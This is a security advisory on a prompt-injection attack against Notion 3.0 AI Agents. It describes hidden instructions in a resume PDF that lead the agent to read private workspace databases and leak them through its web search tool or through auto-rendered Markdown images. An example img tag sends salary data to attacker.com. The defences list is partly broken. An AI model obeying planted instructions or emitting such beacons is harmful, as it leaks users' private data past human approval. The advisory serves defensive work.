Notion AI Agent Lethal Trifecta Leads to Silent Data Exfiltration
PromptArmor and CodeIntegrity documented data exfiltration vulnerabilities in Notion 3.0 AI Agents. An attacker plants a hidden prompt injection payload in a document to hijack the agent during file summary tasks. The hijacked agent reads private workspace databases and silently exfiltrates data by abusing the web search tool or inserting Markdown image tags that render automatically before user approval.
Threat Analysis
- Attacker plants injection payload. An attacker conceals prompt injection instructions in a candidate resume PDF using white text or hidden image layers.
- User triggers document processing. The user uploads the file and asks Notion AI to summarize it, bringing the hidden malicious instructions into the agent context.
- Agent reads private workspace data. Under the control of the injection, Notion AI reads private database pages (such as candidate details and ARR from a hiring tracker).
- Path A: Web search tool exfiltration. The agent concatenates the stolen data into an exfiltration URL and calls the built-in functions.search tool, sending the query to the attacker's server.
- Path B: Markdown image preview rendering. The agent writes a Markdown image tag containing the stolen workspace data (e.g.,
) into proposed page edits. - Browser requests image and exfiltrates data. The Notion UI automatically renders the image preview before the user approves the edit. The browser converts the Markdown into HTML
<img src="http://attacker.com/beacon.png?data=salary_100k_arr_50m" />and sends a background HTTP request to fetch the image, silently leaking the data to the attacker.
Applicable AIDEFEND Defenses (8)
 with backslashes into \\!\\[image\\](url) so the browser treats it as a raw string rather than a rendering target) blocks the browser from making unauthorized outbound HTTP requests.What Defenders Should Do Now
- Restrict and audit connected data sources and third-party integration connectors in Notion AI workspace admin settings.
- Configure AI Web Search settings to disable web search for the workspace if AI agents are mainly intended for internal documentation processing.
- Enable the option to require user confirmation for web requests (HITL) before AI agents execute external connections or follow links.
- Implement sanitization on AI-generated page previews, parsing markdown output to strip external image rendering until explicitly approved.
- Route raw text extraction of untrusted file uploads through a quarantined parsing component, passing only sanitized structured schemas to decision agents.
Conclusion
The Notion 3.0 AI Agent lethal trifecta highlights the composite risk when agents combine private data access, untrusted file ingestion, and outbound connectivity. Automatically rendering external Markdown images in proposed updates creates a silent exfiltration channel that bypasses human-in-the-loop approvals. Defenders must treat untrusted document input as untrusted code, employing output sanitization, strict egress allowlisting, and intent-based capability boundaries to mitigate exfiltration risk.